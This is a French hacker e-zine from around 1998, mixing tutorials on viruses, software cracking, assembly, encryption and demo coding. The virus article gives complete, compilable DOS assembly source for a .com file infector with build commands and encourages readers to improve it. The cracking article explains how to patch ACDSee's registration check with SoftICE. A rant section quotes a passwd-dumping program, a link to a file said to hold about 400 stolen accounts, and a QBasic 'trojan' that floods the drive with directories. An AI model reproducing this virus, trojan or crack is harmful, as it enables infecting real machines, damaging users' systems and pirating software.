Copy Link
Add to Bookmark
Report

Malicia Production Zine 2

eZine's profile picture
Published in 
Malicia Production Zine
 · 20 Aug 2020

  

*-----------------------*
**Malicia Production Zine**
*-----------------------*
NuMbEr 2


Introduction:
ÄÄÄÄÄÄÄÄÄÄÄÄÄ
Toujours plus fort et toujours plus interessant(enfin j'‚sp‚re) voila
Malicia Production Zine 2!! Je comptais faire une analyse du protocole
utilis‚ par la taupe de JC'zic mais plus moyen de faire marcher une taupe
sur mon systŠme........what the fucking shit????? Enfin bon c pas grave j'ai
pr‚vu d'autres choses interessantes ;). Heille j'y pense comme ‡a, ce
serait cool une rubrique courriers des lecteurs alors si vous avez qqchose
… dire, ou vous voulez ‚crire un article:

freaking@caramail.com

Ha autre chose:
"Windows 98 inaugure son premier bogue (18/08/1998) AprŠs les difficult‚s
de migration de Windows 95 vers Windows 98, le nouveau systŠme d'exploitation
de Microsoft vient de se voir dot‚ de son premier bogue officiel. La compagnie
anglaise Prove It 2000 vient en effet de montrer que, lorsque Windows 98 est
relanc‚ entre 23h59 et minuit, celui-ci fait un bond dans le temps d'un ou
deux jours. De quoi s‚rieusement endommager une base de donn‚es... Microsoft
a promis d'installer une "
rustine " sur son site dans les jours … venir".

Hahaha et c que le premier ;). Je vous dit qu'a chaque nouvelle version
ils en rajoutent :)).

<SaTaNiK>

Sommaire:
ÄÄÄÄÄÄÄÄÄ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Titre de l'article: ³ Sujet: ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Virus: infecteurs com ³ Virii ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Cours de Cracking 2 ³ Cracking ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation … l'asm 2 ³ Asm ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ UHA, is that about Hack??? ³ Delire ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Fire effect ³ Demo Coding ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄ´
³ Initiation au cryptage 2 ³ Cryptage ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÙ


******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
<--------------------------------->
Virus: Infecteurs .com
<--------------------------------->

Voila mon premier article sur les virus, je commence par les
infecteurs de .com car ce sont les plus simples, aprŠs on fera les .exe et
aprŠs on verra ;).

La premiŠre chose … savoir sur les virus c'est qu'ils s'ecrivent
en assembleur, pour la simple raison que c plus petit(on va pas faire des
'virus' de 400 Ko comme JC'zic ;)).

Mais tout d'abord ‚tudions ce que fera l'infection:

Avant infection:

************ *************
* mov ax, * * jump *
* 1234 * * virus *
************ *************
* * * * < fonc
* Clean * * Infec *
* File * * File *
* * * *
************ *************
* Virus * < virus
*************
* mov ax, *
* 1234 *
*************
* jump *
* fonc *
*************

Essayez de bien vous mettre ce sch‚ma en tˆte car il est important! Donc en
fait notre programme marche de la fa‡on suivante lors de l'infection, il
sauvegarde les 3 premiers bytes, et les remplacent par un saut sur la fin du
fichier, et l… il s'‚crit dans le fichier...

Lors de l'execution donc le saut aura lieu, le virus s'execute(infecte
d'autres fichiers ;) ) et ensuite remplace(en m‚moire) les bytes qu'il avait
remplac‚ par les originaux et saut … 100h...et donc le prog s'execute
normallement

Bon et comme d'ab je vous propose du code ;).
******************************************************************************
code segment
; SEGMENT DE CODE
assume cs:code,ds:code
;CS ET DS POINTENT TOUT LES 2 SUR CODE
org 100h
;LES FICHIER COM COMMENCENT A 100H
debut:
db 0e9h,0,0 ;C'EST LE JUMP, NOUS EN AVONS BESOIN POUR
;FAIRE COMME SI LE PROGRAMME ETAIT
;INFECTE

virus:
call depart_virus ;POURQUOI UN CALL ET BIEN TOUT SIMPLEMENT
;POUR SAVOIR A QU'ELLE ADRESSE LE PROGRAMME
;DEVRA REVENIR EN CAS DE RET(LA VALEURE EST
;MISE SUR LA PILE)

depart_virus:
pop bp ;RECUPERE JUSTEMENT CETTE VALEURE
sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
;VIRUS POUR OBTENIR LE DEBUT DU CODE
;DU VIRUS...

remet_3_bytes:
mov cx,3 ;VA DEPLACER 3 OCTETS
lea si,[bp+OFFSET troisbytes] ;MET DANS SI LES 3 BYTES ORIGINAUX
mov di,100h ;MET A 100h(EN MEMOIRE LES COMS COMMENCENT
;A 100h...)
rep movsb ;REMET LES OCTETS ORIGINAUX

init_dta:
lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place
mov ah,1ah ;FONCTION 1Ah
int 21h ;LANCE L'INTERRUPTION

trouve:
mov ah,4eh ;PREMIERE RECHERCHE
lea dx,[bp+comsig] ;MET LE NOM DU FICHIER QU'ON CHERCHE
;DANS DX(ici *.com)
mov cx,7 ;RECHERCHE UN FICHIER AVEC N'IMPORTE
;QUELLE ATTRIBUTS...

cherche:
int 21h ;LANCE LA RECHERCHE
jnc ouvre ;SI FICHIER TROUVE SAUTE A ouvre
jmp fin_cherche ;SINON VA A fin_cherche

ouvre:
mov ax,3d02h ;FONCTION 3Dh
lea dx,[bp+OFFSET dta_place+1eh] ;DTA_PLACE+1eh CONTIENT LE NOM
;DU FICHIER TROUVE
int 21h ;LANCE L'INTERRUPTION
mov bx,ax ;MET BX DANS AX


mov ah,3fh ;LIT LES 3 BYTES QUI VONT CHANGE
lea dx,[bp+troisbytes] ;ET PIS LES MET DANS troisbytes
mov cx,3
int 21h ;EFFECTUE LA LECTURE


mov ax,word ptr [bp+dta_place+1ah] ;MET DANS AX LA TAILLE DU FICHIER
mov cx,word ptr [bp+troisbytes+1] ;MET DANS CX LES 2 DERNIERS BYTES
;DU JUMP DONC LA TAILLE DU
;FICHIER SI INFECTE
add cx,end_virus-virus+3 ;Y AJOUTE LA TAILLE DU VIRUS
cmp ax,cx ;COMPARE LES 2
jz ferme ;SI EGALE ALORS INFECTE


sub ax,3 ;ENLEVE TROIS A LA TAILLE
;CAR NOUS LES AVONS DEJA LUS
mov word ptr [bp+newjump+1],ax ;MET DANS LES 2 DERNIERS BYTES
;DE NEWJUMP LA TAILLE DU FICHIER
;ET DONC CALCULE LE SAUT QUI
;REMPLACERA LES 3 bytes


mov ax,4200h ;VA AU DEBUT DU FICHIER
xor cx,cx
xor dx,dx
int 21h


mov ah,40h ;ET ECRIT LES 3 BYTES
mov cx,3
lea dx,[bp+newjump]
int 21h


mov ax,4202h ;VA A LA FIN DU FICHIER
xor cx,cx
xor dx,dx
int 21h


mov ah,40h ;ET ECRIT LE VIRUS
mov cx,end_virus-virus ;TAILLE DU VIRUS
lea dx,[bp+virus] ;POINTE SUR VIRUS
int 21h

ferme:
mov ah,3eh ;FERME LE FICHIER
int 21h

mov ah,4fh ;CHERCHE PROCHAIN FICHIER
jmp cherche

fin_cherche:
mov dx,80h ;REMET LE DTA A SA PLACE ;)
mov ah,1ah
int 21h

mov di,100h
jmp di


comsig db '*.com',0
troisbytes db 0cdh,20h,0
newjump db 0e9h,0,0

end_virus label near

dta_place db 42 dup (?)

code ENDS
END debut
******************************************************************************

Pour compiler:
--------------
tasm Virus.asm
tlink Virus.obj /t

Bon voil… maintenant que vous avez le code source avec des explications sous
les yeux je vais expliquer des choses en plus car j'ai pas eu la place
d'en parler dans la source:
******************************************************************
pop bp ;RECUPERE JUSTEMENT CETTE VALEURE
sub bp,OFFSET depart_virus ;ET LA SOUSTRAIT A L'ADRESSE DE DEPART
******************************************************************
En fait on fait ‡a car l'OFFSET depart_virus est un label et quand il est
compil‚ par tasm il devient un nombre, mais quand nous infectons un fichier
le virus se trouve … la fin du fichier et donc ce nombre n'est plus correct...
Il faut donc trouver le deplacement par rapport au fichier courant, pour
cela on recupere la vrais adresse de depart_virus et on lui soustrait
l'ancienne pour obtenir le d‚but du virus dans le fichier...comme je sais
que c'est assez dur … comprendre je vais vous faire une chtite explication:

le fichier non-infect‚ fait 1000 octects
l'adresse de depart_virus aprŠs compilation est 6

Une fois le virus lan‡‚ pop bp donc bp vaut 1006...on soustrait 6 et
on obtient le d‚but du virus :). C clair cette fois non?

******************************************************************
lea dx,[bp+OFFSET dta_place] ;MET DANS DX L'ADRESSE DE dta_place
mov ah,1ah ;FONCTION 1Ah
int 21h ;LANCE L'INTERRUPTION
******************************************************************
DTA est en fait une table qui vous permet d'avoir des informations sur le
fichier ouvert, pour pouvoir l'utiliser il faut lui allouer une place
et ‡a se fait via cette interruption...pour plus d'informations:

DTA
------------------------------------------------------------

Offset Size Function

0h 21 Bytes Reserv‚
15h 1 Byte Attributs du fichier
16h 2 Bytes(WORD) Time du fichier
18h 2 Bytes(WORD) Date du fichier
1Ah 4 Bytes(DWORD) Taille du fichier
1Eh 13 Bytes Nom du fichier
------------------------------------------------------------

Bon voil… vous pouvez vous amusez avec ce virus et l'ameliorer :).
Bon amusement ;)

Bon je met le virus en com avec le mag :) et il fait: 167 octect!!!
Alors imaginez tout les conneries que contient la taupe de
JC'zic(400 000 octets environs ;))

<SaTaNiK>

******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
/%%%%%%%%%%%%%%%\
%%Cours de CraCk2%%
\%%%%%%%%%%%%%%%/

Re-bonjour et bienvenue dans la 2‚me partie de mon tutorial :).
Cette fois on s'attaque … un peu plus amusant mais pas trŠs dur quand mˆmme...

-Softice V3.2
Ce logiciel est un d‚buggeur, c'est … dire un programme qui permet de suivre
le programme alors qu'il s'execute et ainsi de rep‚rer par exemple de rep‚rer
l'endroit ou il compare votre serial au bon serial. Il existe d'autres
d‚buggeurs comme Turbo Debuggeur qui est distribu‚ avec les programmes
Borlands mais il est loin d'ˆtre aussi performant que Softice...

-W32Dasm V8.9
Il ne sera pas vraiment n‚c‚ssaire mais permet d'avoir une vue d'ensemble du
programme....


La derniŠre fois le logiciel … cracker ‚tait poua trŠs connu alors cette fois
‡i je vous propose un peu plus connu(en fait je pense que tout le monde l'a :)
, c'est Acdsee V2.0(je sais c pas la derniŠre mais c la meilleure :).

Bon cette fois y va falloir bosser :). Alors pour commencer vous
installez softice, dans softice(Ctrl+D) vous aurez besoin d'enabler plusieurs
options qui vous permettront de voir plus de choses:
CODE ON
DATA
R
voila 3 trucs que vous devrez tapez pour avoir tout ce dont vous avez besoin
sous les yeux.

Bon revenons … nos moutons :), lancez acdsee et comme d'ab allez
dans help->register et la il vous demande un code et un nom...alors la on
fait un ptit ctrl-d et on est sous softice, vous tapez alors TASK pour savoir
sous quel nom runne acdsee.....normalemment il devrait runner sous le nom
"Acdsee32". Pour savoir les diff‚rents sous-objets qui composent cette
application vous tapez HWND Acdsee32 et vous obtenez un liste. Dans cette
liste il y a 2 edit qui sont en fait les zones ou vous ‚crivez votre nom
et votre s‚rial. Vous relevez donc un des Window Handle(le nombre le plus …
gauche) de type edit et vous tapez un ligne comme celle ‡i:

BMSG 1234 WM_Gettext
en rempla‡ant bien ‚videmment le num‚ro 1234 par le window handle du edit...

Nous venons la de poser un breakpoint qui arretera le programme
et lan‡era softice quand Acdsee32 enverra le message WM_Gettext … la boite
de dialogue(pour r‚cup‚rer le texte quoi....)

Donc nous rentrons un nom et un s‚rial bidon et on appuye sur OK.
Et pof Softice apparait, on appuye sur ctrl-d car de tout fa‡on le programme
n'a pour le moment que r‚cup‚rer le nom...softice break encore et la vous
appuyez sur F12 le temps de revenir dans le code du programme acdsee qui
devrait se trouver dans les 0137:004XXXXX ou qqchose comme ‡a...

Plus exactent vous devriez avoir le code suivant devant les yeux:
******************************************************
lea eax, [esp+38] ;Met l'adresse du pass dans eax
lea ecx, [esp+18] ;Met l'adresse du nom dans ecx
push eax
push ecx ;Met sur la pile
call 00402FC0 ;Verifie le pass
add esp,08
test eax,eax
jle 0040372A ;Si mechant gar‡on Fait le jump
******************************************************

Ici si vous essayez de nopper le jump le logiciel vous dira 'merci
de vous ˆtre enregistr‚' mais il ne s'enregistrera pas......donc
nous allons devoir ‚tudier plus en profondeur le premier call. Pour cela vous
mettez un break en double cliquant sur le call dans softice...donc vous
recliquez sur Ok et softice break, la vous rentrez … l'interieur du call en
appuyant sur F8.

Bon dans cette boucle le premier call verifie si le nom fait plus
de 5 caract‚res, si oui il met eax … un si non il met eax … 0. Et juste aprŠs
ce call il fait un ret si eax==0. Bon moi j'ai rentr‚ SaTaNiK comme nom
donc ‡a marche :). Ensuite le programme ne fait plus qu'un call et retourne
d'ou il vient....donc ce call la verifie le password...mais si vous rentrez
dans ce call l… vous vous rendrez vite compte que la proc‚dure est assez
complexe....

Mais regardez juste aprŠs ce call il y a quelques trucs int‚ressants:

****************************************************
call 00421750 ;Voici donc le jump qui
;Verifie le serial
add esp, 0000000C
cmp eax, 00000001 ;Hoooo comme c'est interessant :)
;Il compare deja eax =)
sbb eax, eax
pop esi
inc eax
ret ;Pis il retourne du call
*****************************************************

Et oui il compare deja eax pour voir si le serial est bon...
et cette comparaison … pour cons‚quence de modifier le contenue de eax en
dessous :).

Donc nous avons cette comparaison … modifier:
83 F8 01 cmp eax, 00000001
en
83 F8 00 cmp eax, 00000000

Et voila le tour est jou‚ :).

Voila, voila c'est finit pour mon deuxiŠme cours de cracking...

<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
ÚÄÄÄÄÄÄÄÄÄÄÄ¿
³Cours d'asm³
ÀÂÄÄÄÄÄÄÄÄÄÂÙ
³LECON Nø2³
ÀÄÄÄÄÄÄÄÄÄÙ

Cette fois on va faire un......allez essayer de deviner quoi :). On va faire
un programme de Dessin!!!

Bon pour faire un programme de dessin voyons ce dont on … besoin...d'une
souris...et pis d'un ecran en mode graphique...et ensuite nous devrons cr‚er
des fonctions :)...

Pour pouvoir afficher une image il faut d'abord passer en mode graphique car
au d‚mmarage de l'ordinateur(ou en mode dos normal) on est en mode texte.
Pour cela on va trŠs simplement faire appel … la fonction 0 de l'interruption
10h. Cette fonction permet de changer le mode de l'‚cran...

***FONCTION 0 DE L'INTERRUPTION 10H***
ParamŠtres d'entr‚e:
-AH=00
-AL=mode vid‚o
**************************************

2 modes vid‚os nous interesse particuliŠrement: le mode 3h est celui dans
lequel nous devrons revenir … la fin du programme(mode texte). Le mode 13h
quand … lui est le mode graphique qui nous interesse car il permet 256
couleurs dans une r‚solution de 320*200 pixels(c'est notre mode graphique).

Donc pour passer en mode graphique nous ferons simplement:
**********
mov ah,0
mov al,13h
int 10h
**********

Donc nous voila en mode graphique...mais maintenant il faut absolument que
nous sachions afficher un point...pour cela nous pourrions encore utilis‚
une interruption mais elle sont trop lentes pour ce genre de chose...

Pour afficher un point sur l'‚cran nous devons pointer sur la m‚moire vid‚o.
Pour cela nous allons utiliser le segment ES qui pointera sur la m‚moire
vid‚o...pour faire cela il suffit simplement de faire pointer ES sur A000H:
*************
mov ax,0a000H
mov es,ax
*************

Il y a deux choses que vous devez avoir not‚ rien qu'a ces 2 lignes, c'est
qu'on ne peut pas ‚crire directement dans les segments...et que sur on veut
mettre une valeure dans une variable et si celle si commence par une lettre
(la valeur) et bien nous devons rajouter un 0 devant pour que le compil ne
la prenne pas pour une variable...

Pour mettre un point ce sera donc trŠs simple il suffira de mettre par exemple
dans di la valeure qu'on veut attendre et on met la couleur dans ce point.
Un ptit exemple pour vous ‚claircir les id‚es:
***********************
mov di,50
mov es:[di], byte ptr 5
***********************

Ce ptit code fera apparaŒtre un point … la ligne 0 colonne 50...si nous avions
voulu mettre un point dans la ligne 8 colonne 30 il suffisait de faire un ptit
calcul: ligne*320+colonne=di...

Pour se servir de la souris MS-DOS nous offre une panoplie de fonctions:

**Initialiser la souris**
fonction 00 de l'interruption 33h
-ax=00
*************************
Cette fonction renvoit 0 si aucun pilote de souris n'est install‚...

**Affiche/cache la souris**
fonction 01 de l'interruption 33h
-ax=01
***************************
Si vous executez cette fonctions alors que la souris et visible, elle
disparaitra et inversement...

**Lit l'‚tat de la souris**
fonction 03 de l'interruption 33h
-ax=03
***************************
Cette fonction renvoit dans bx l'‚tat des boutons cod‚ comme suit:
bit0=1 le bouton gauche … ‚t‚ actionn‚
bit1=1 le bouton droit … ‚t‚ actionn‚
Elle renvoit dans cx, l'abscisse X du pointeur et dans dx l'ordonn‚e Y.
Qqchose de bizarre c que cx doit ˆtre divis‚ par 2....car la souris met la
valeure sur 640....et non pas sur 320...


Une des choses les plus importantes dans l'asm est l'utilisation des jumps...
Il existe en asm une grande quantit‚ de jump dont je vais devoiler les secrets
ici! Il existe en m‚moire une sorte de registre qui contient des indicateurs
qui sont soit … 0 ou 1...et les jumps ne font que les tester...il existe
diff‚rentes fonctions qui modifient ces indicateurs mais la principale que
nous allons utiliser est cmp, cette instruction permet simplement de comparer
2 registres ou un registre et une valeur....

**je******************************************
ce jump ne fait le saut qu'en cas d'‚galit‚...
Exemple:
mov ax,5
cmp ax,5
je saute_car_5_est_egal_…_5
**********************************************

**jb******************************************
ce jump saut si la premiŠre valeure est
inf‚rieur … la deuxiŠme...
Exemple:
mov ax,1
cmp ax,80
jb saute_car_1_est_plus_petit_que_80
**********************************************

Pour obtenir l'effet inverse, par exemple pour sauter si, dans notre deuxiŠme
exemple ax ‚tait plus grand que 80 il suffit d'intercaler un n au milieu du
jump...par exemple pour jb sela donnerait jnb...simple non?

Il existe aussi un autre saut, trŠs simple, c jmp qui effectue un saut sans
condition......

Ha j'oubliais, aprŠs le jump vous mettez ce qu'on appelle un label...c'est
simplement un nom...

**********Exemple**********
mov ax,8
cmp bx,ax
jb saut1
jmp saut2
saut1:

saut2:
***************************


Bon donc voila ce que devrait donner notre programme:

*****************************************
.MODEL SMALL
.STACK 100H
.386

.DATA
NOSOURIS DB "La souris n'as pas ‚t‚ trouv‚e :(...$"

.CODE
debut: ;DEBUT DU PROGRAMME
mov ax,@DATA ;INITIALISE LE SEGMENT DATA
mov ds,ax

mov ax,0A000h ;POINTE LE SEGMENT ES SUR VIDEO
mov es,ax

mov ah,00 ;INITIALISE LE MODE VIDEO
mov al,13h
int 10h

mov ax,0 ;INITIALISE LA SOURIS
int 33h
cmp ax,0 ;ET JUMP SI PAS DE PILOTES
je no_souris

mov ax,1 ;AFFICHE LA SOURIS
int 33h

infinit_loop:
mov ax,3h ;TESTE L'ETAT DE LA SOURIS
int 33h

cmp bx,1
je button_1_pressed ;LOOK SI BUTTON 1 APPUYE

cmp bx,2 ;LOOK SI BUTTON 2 APPUYE
je button_2_pressed

jmp infinit_loop ;SINON REGARDE ENCORE ETAT

button_1_pressed:
sub cx,2 ;ON SOUSTRAIT 2 … X ET Y POUR EVITER
sub dx,2 ;DES PROBLEMES AVEC L'AFFICHAGE DE LA SOURIS

mov ax,320 ;MULTIPLIE DX(Y) PAR 320
mul dx

shr cx,1 ;DIVISE LES X PAR 2

add ax,cx ;ET AJOUTE LES X

mov di,ax ;AFFICHE UN JOLI POINT TOUT BEAU =)
mov es:[di],byte ptr 5

jmp infinit_loop ;ET PIS REGARDE SI ENCORE APPUYE

button_2_pressed:
jmp good_end ;QUITTE LE PROGRAMME SI 2‚me BOUTTON PRESSE

no_souris:
mov ax,2 ;CACHE LA SOURIS
int 33h
mov ah,00 ;RETABLIT MODE TEXTE
mov al,03h
int 10h
mov ah,09h ;AFFICHE ERREUR
lea dx,NOSOURIS
int 21h
mov ax,4C00H ;ET QUITTE
int 21h

good_end:
mov ax,2 ;CACHE LA SOURIS
int 33h
mov ah,00 ;RETABLIT MODE TEXTE
mov al,03h
int 10h
mov ax,4C00H ;QUITTE
int 21h

END debut ;INFORME LE PROG QUE L'ON COMMENCE … debut
*****************************************


Et voila mon deuxiŠme cours finit.....j'‚sp‚re que vous aurez aim‚...et puis
il ne tient qu'… vous d'am‚liorer ce programme :)).

<SaTaNiK>

******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
UHA or the lamer Power
----------------------

Et oui j'ai fais un ptit article rien que sur ce zine complˆtement lame qu'est
UHA, un vrais poubelle je vous dit, mais comme je n'insulte pas sans raison je
vais vous le prouver....

*******************************
Lisez le avec Office ou Word...
*******************************
Uh, qu'est ce qu'il me dit l'autre, je devrais lire son zine avec Office
de MICROSUCK!!!! Mais j'ai pas ‡a et je l'aurais jamais!!! Vive EDIT du
DoS :).

***********************************************************************
Ce Zine est publier par : [DaeMoN] en collaboration avec le UHA et tout
les autres qui y participe...
***********************************************************************
Le pauvre est tout seul pour faire son ptit zine pourris et il ose pas
le dire....(2 points pour moi)!!! :))

***************************************************************************
Mais en t k moi ca sera pas mon cas...Je vais continuer même si le FBI est
a mon cul...Je chierai pas dans mon froc comme eux...Bon on commence lançon
nous dans les chose un peu + sérieuse...GO
***************************************************************************
Rassure toi mon gars, c'est pas avec un zine aussi pourris que t'auras le
FBI au cul...(3)

************************************************************************
2. Bon alors un passwd file c un file (le nom le dit) qui contient les
information du user name et du passwd pour avoir accès a des Linux/Unix,
FTP, Wwwboard (Je vais surment expliquer dans ce # comment hacker un
wwwboard).
************************************************************************
Heille je sais pas si tu sais mon vieux mais le hack de wwwboard ‡a deja
‚t‚ fait...par Total Control que tu critique je crois... :))

*************************************************************
#include <pwd.h>
main ()
{
/* Programmer par [DaeMoN] */
/* Pour unshadow passwd file */

struct passwd *p ;

while(p=getpwent ())

printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,

p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);

}
*************************************************************
Putain ya pas … dire c'est un bon programeur, il sait cr‚er une structure
et pis lancer une fonction fiouuuuuu...mˆmme moi j'y arriverais pas(4)!!!

***************************************************************************
J'allais oublier ... pour downloader un passwd file de environs 400 account
prenez le a :
http://members.xoom.com/UHA_Daemon/Hackme.zip
***************************************************************************
Mais putain on s'en caliss de tes 400 accounts pov d‚bile, si on connait pas
le site qui va avec...rha putain t'es un criss de chier de lamer ou quoi?(5)

*************************************************************************
Bon OK...on commence dans cette article je vais vous expliquer comment
monter un trojan en Qbasic...c vraiment pas complexe vous allez voir si
vous avez déjà fais du QB vous allez pas avoir de misère...OK on commence
la programmation...

Rem programed by [DaeMoN]
Color 13,0
Print "Installation des Data File , veuillez patienter"
Print "Cela peut prendre de 10 a 15 minute selon votre ordinateur"
shell "cd\"
for a = 1 to 6666
a$=str$(a)
c$="md" + a$ + ".hee"
shell c$
next a
cls
print" UHA Version 3.7 est maintenant installer sur votre ordinateur..."
print" Bonne journée"
print
input "Appuyer sur ENTER pour rebooter votre system!";a$
shell "boot.com"
*************************************************************************
Hem quesque c'est hot, et en qbasic en +..ouhaaaaaa il cr‚e 6666 r‚pertoires
oh putain c trop cool....non je d‚conne bien sur, c'est un vrais merde
et putain c trop d‚bile d'appeller ‡a un trojan...rha putain c le pire de
criss de lamer(ptˆt pas en fait) que j'ai jamais vu!!!!

*****************************************************************************
Ce petit brin de programmation a été fais par moi et J-A-K-E pour pas de
discrimination...Ce petit trojan (un bon ami) crée 6666 répertoires dans le
C : hehe efficace vous me dirai...mais ya qua les effacer ...ben j'ai une
nouvelle Il ne sont pas effaçables désoler...Hehe non mais il faux un format
C : pour les effacer sinon il reste...Ca doit tu être chiant d'avoir 6666
répertoires dans son C : ... Amuser vous bien ! ! !
*****************************************************************************
C'est vrais que ya de quoi revendiquer son coups, un truc aussi bien ‚crit
c'est vraiment rare....comment ‡a il sont pas effacable????excuse mais je
viens de voir que les noms des r‚pertoires ‚tait ?.hee et ben un bon
deltree *.hee et pis ya pu rien, allez retourne dans ta cave pov lamer...


Bon voila j'ai pouss‚ mon coup de rage contre la nullit‚ qui s'abat sur le
monde du hacking :)). Enfin je souhaite malgrŠs tout un bon avenir … UHA ;)).

<SaTaNiK>


******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************

Initiation au CræpÅage 2
!!!!!!!!!!!!!!!!!!!!!!

Hehe j'ai un peu am‚liorer le crypteur de la derniŠre fois, cette fois
il a besoin d'un code pour crypter....

******************************************************************************
#include <process.h>
#include <string.h>
#include <iostream.h>
#include <conio.h>
#include <ctype.h>
#include <stdio.h>
#include <malloc.h>

void main(int argc, char *argv[])
{
unsigned long taille;
unsigned long index;
unsigned char *buffer;
unsigned char index2;
unsigned char Signature[10];
unsigned char good_key[50];
unsigned char crypt=33;
FILE *to_crypt;
FILE *crypted;

printf("Spiritic Crypter By SaTaNiK V0.2\n\n");
if(argc!=3)
{
printf("Usage:\n");
printf("Crypter <source_file> <crypted_file>\n");
exit(0);
}

to_crypt=fopen(argv[1],"r+b");
if(to_crypt==NULL)
{
printf("Can't open source file...\n");
exit(1);
}

crypted=fopen(argv[2],"wb");
if(crypted==NULL)
{
printf("Can't create crypted file...\n");
exit(1);
}

for(index=0;index<50;index++)
{
good_key[index]=0;
}

try_again:
printf("Please enter a 10 digits key:\n");
cin >> good_key;
if(good_key[9]==0)
{
printf("You don't enter a gook key(you're stupid?)...\n");
printf("Try again...\n");
goto try_again;
}

fseek(to_crypt,0,SEEK_END);
taille=ftell(to_crypt);
fseek(to_crypt,0,SEEK_SET);
buffer=(unsigned char *)malloc((taille+10));
if(buffer==NULL)
{
printf("Can't allocate enought memory...\n");
exit(1);
}

printf("I'm crypting master...\n");
index2=0;
Signature[0]='S';
Signature[1]='p';
Signature[2]='i';
Signature[3]='r';
Signature[4]='i';
Signature[5]='t';
Signature[6]='i';
Signature[7]='c';
Signature[8]='C';
Signature[9]='r';

for(index=0;index<10;index++)
{
buffer[index]=Signature[index];
buffer[index2]+=good_key[index2];
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
}

for(index=10;index<taille+10;index++)
{
buffer[index]=(unsigned char)getc(to_crypt);
buffer[index]+=good_key[index2];
crypt^=Signature[index2++];
if(index2==10)
{
index2=0;
}
crypt+=Signature[index2];
buffer[index]^=crypt;
}

fwrite(buffer,1,(taille+10),crypted);

printf("File crypted successfully :)\n");

exit(0);
}
******************************************************************************

Avec le mag, il y a une fichier crypt‚(Hello.cry) alors le premier qui
m'envoit la solution pour casser le code(c assez fa‡ile en fait) je la publie,
‚videmment faut que ‡a soit clean comme r‚ponse ;). Sous la forme d'un prog
‡a serait mieux =).

<SaTaNiK>

******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
***************
<Fire CoDiNg>
***************

Vous ne le savez sans doute pas, j'adore les d‚mos :). Si vous ne savez pas
ce qu'est un d‚mo et bien c'est en fait un ensemble de programmation, de
graphs et de musique qui rend qqchose de trŠs bien(enfin la plupart du temps
car c comme partout, y a des rat‚s). Si vous ne connaisez pas je vous
conseille "second reality" qui date un peu mais qui est trŠs bien ou alors
"Robotnik" qui est bien aussi :).

Bon pour revenir au sujet, nous ce qui nous interesse c'est le code :), enfin
moi du moins, ici je vous propose de coder un effet de feu, un effet qu'on
ne voit plus beaucoup dans les d‚mos mais qui est interessant … coder :).

A vrais dire, en codant cette effect je ne me suis servir d'aucun tutorial
ou quoi que ce soit, je me suis assis devant l'ordi en me disant:
"je dois faire un effet de feu ;))".

Bon on va pas tout de suite faire une belle palette, on va tout simplement
faire une palette qui va du noir(0) au blanc(255).
******************************
